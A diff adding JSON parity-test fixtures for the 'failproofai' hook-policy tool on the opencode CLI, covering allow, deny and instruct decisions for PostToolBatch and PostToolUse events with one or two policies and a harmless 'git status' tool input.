/dev/null +++ b/__tests__/parity/fixtures/opencode/PostToolBatch/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PostToolBatch/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/PostToolBatch/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..673e64a0 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostToolBatch/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PostToolBatch/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/PostToolBatch/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..a9ccae3a --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostToolBatch/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PostToolBatch/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/PostToolBatch/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..456379e7 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostToolBatch/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "deny", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PostToolBatch/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/PostToolBatch/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..0900cdfd --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostToolBatch/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "deny", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PostToolBatch/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/PostToolBatch/deny__tool-present__one-policy.json new file mode 100644 index 00000000..76be1713 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostToolBatch/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "deny", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PostToolBatch/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/PostToolBatch/deny__tool-present__two-policies.json new file mode 100644 index 00000000..d5a30896 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostToolBatch/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "deny", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PostToolBatch/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/PostToolBatch/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..e84351c1 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostToolBatch/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "instruct", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolBatch\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PostToolBatch/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/PostToolBatch/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..e84c4ea8 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostToolBatch/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "instruct", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolBatch\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PostToolBatch/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/PostToolBatch/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..9e35a089 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostToolBatch/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "instruct", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolBatch\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PostToolBatch/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/PostToolBatch/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..516edb13 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostToolBatch/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "instruct", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolBatch\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PostToolUse/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/PostToolUse/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..9f0b373d --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostToolUse/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PostToolUse/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/PostToolUse/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..45feee31 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostToolUse/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PostToolUse/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/PostToolUse/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..817335b7 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostToolUse/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PostToolUse/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/PostToolUse/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..effe04f2 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostToolUse/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PostToolUse/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/PostToolUse/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..02dda169 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostToolUse/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PostToolUse/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/PostToolUse/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..20bd7ac7 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostToolUse/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PostToolUse/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/PostToolUse/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..64c37601 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostToolUse/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PostToolUse/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/PostToolUse/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..a613bdca --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostToolUse/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + 